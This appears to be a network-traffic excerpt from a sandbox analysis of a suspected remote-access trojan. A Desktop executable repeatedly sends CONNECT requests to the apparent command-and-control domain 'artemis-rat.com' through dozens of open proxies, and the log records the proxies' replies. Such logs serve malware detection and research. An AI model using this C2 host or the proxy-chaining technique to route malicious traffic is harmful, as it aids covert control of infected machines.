Mar 11, 2024 03:30:50.316056967 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.5	51716	3.73.120.104	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.973666906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.701682091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.905102968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:14.355638027 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:15.362327099 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:18.594329119 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:24.738430023 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:36.770503998 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:01.859909058 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.5	51734	121.159.146.251	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.974186897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.5	51720	37.235.48.19	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.975604057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.5	51653	45.4.144.232	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.976356983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.5	51762	15.236.106.236	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.976577044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.273684025 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:40 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.5	51730	8.142.132.204	18080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.976578951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.297791958 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.5	51613	38.54.116.9	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.976686954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.391036034 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.5	51704	134.209.105.209	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.976891994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.318137884 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.5	51783	190.120.249.149	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.977231026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.5	50708	37.187.91.192	27898	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.977233887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.093039989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.202441931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.202186108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:04.201822042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.5	50729	62.171.131.101	25847	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.977339983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.107947111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.124728918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.217715979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.5	51747	79.119.155.63	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.978063107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.5	51188	107.181.168.145	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.978271961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.5	51819	104.23.126.8	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.978452921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.132911921 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.5	51822	104.27.37.131	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.978801012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.133044004 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.5	51748	45.11.95.165	5039	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.978899002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.404139996 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.5	51668	45.251.231.113	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.980252028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.5	51845	162.159.242.45	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.980309010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.141674995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.5	51804	72.206.181.97	64943	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.980309010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.5	51806	72.210.252.137	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.980407953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.5	51811	72.195.34.35	27360	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.980411053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.5	51739	103.231.45.145	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.981930971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.5	51793	115.146.225.137	10046	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.981931925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.5	51800	94.131.14.66	1081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.982175112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.5	51784	91.202.230.219	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.982352972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.5	51827	38.162.19.227	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.983340025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.398072958 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.5	51785	45.11.95.166	6009	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.983649969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.479053974 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.5	51155	117.160.250.163	82	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.983942986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.701843023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.548237085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.202133894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
